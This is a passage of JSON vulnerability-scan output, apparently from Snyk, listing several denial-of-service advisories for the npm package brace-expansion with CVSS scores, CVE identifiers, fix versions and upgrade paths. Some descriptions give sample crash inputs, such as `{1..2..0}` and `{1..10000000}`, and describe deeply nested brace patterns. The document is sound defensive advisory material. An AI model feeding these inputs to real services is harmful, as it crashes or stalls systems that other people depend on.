"triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" 